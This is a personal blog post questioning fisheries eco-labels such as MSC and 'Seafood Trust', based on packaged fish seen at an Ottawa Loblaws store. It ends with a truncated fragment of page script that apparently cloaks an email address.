

Some Thoughts on Eco-labelling of Fisheries

Written by Dan Lane

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I just looked at the Huffington site and the “sustainable fisheries” article. Interesting. Admittedly, I have trouble with such lists – they are perhaps well-intentioned, but to think that we can write a black and white list that divides fisheries into “sustainable” and “unsustainable” is not telling the whole story in my view. Here’s some local (Ottawa) observations I had from a visit to the Loblaws Superstore on Innes Road and the frozen, packaged fish bins on display: http://www.huffingtonpost.com/2010/04/04/sustainable-seafood-photo_n_522387.html

1) Loblaw’s Blue Menu carries a mark for sustainable products (with some literature to that effect on the back of the packaging); some products are even MSC certified – like Alaskan salmon.

2) Some Blue Menu products, also carrying the MSC stamp, like keta salmon, do not have a country of origin noted anywhere on the label; I am skeptical – without a country designation, how does it get MSC? I won’t buy that product MSC or not – I’d like to know where it was caught (and processed).

3) Another MSC Blue Menu product I found: how about Albacore tuna, Product of Canada? What would ICAAT have to say about that? How do we reconcile the ferocious debate about global tuna catches and the outcry to ban tuna worldwide when the MSC themselves are saying it is “sustainable”? Should we be confused? (I am)

4) Heritage Salmon – farmed, whole Atlantic salmon (owned now by Cooke Aquaculture) also have a certification stamp; it looks very similar to the MSC stamp and there is a whole website on the Heritage Salmon site dedicated to the eco-label of “Seafood Trust”. See also: <http://heritagesalmon.com/sustainability/eco.asp>

I am curious about the Seafood Trust label – I’d like to know it’s origins (like MSC’s WWF and Unilever parentage). As we know, the forest industry went through an aggressive eco-labelling process on wood products. The results of that exercise was a proliferation of eco labels but without a lot of detail behind them (and others that were designed by companies to capture market and not much more). The end result was confusion to the retailer and consumer and a distrust of eco-labels as a marketing ploy (which they are).

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Could this same thing happen to fisheries products? Never mind that small scale fisheries cannot afford certification, it does not mean that they do not catch sustainably. Does a consumer really care that the label is MSC (at great cost) vs a look-a-like “eco-label”? For that matter, do you think Walmart KNOWS that consumers are fickle and that any eco-label will do – especially if the price (and profit margin) is right

Food (sustaining, maybe but not sustainable?) for thought...

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var a=0,m,v,t,z,x=new  
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656  
380','7684','61818075'),l=x.length;while(++a
```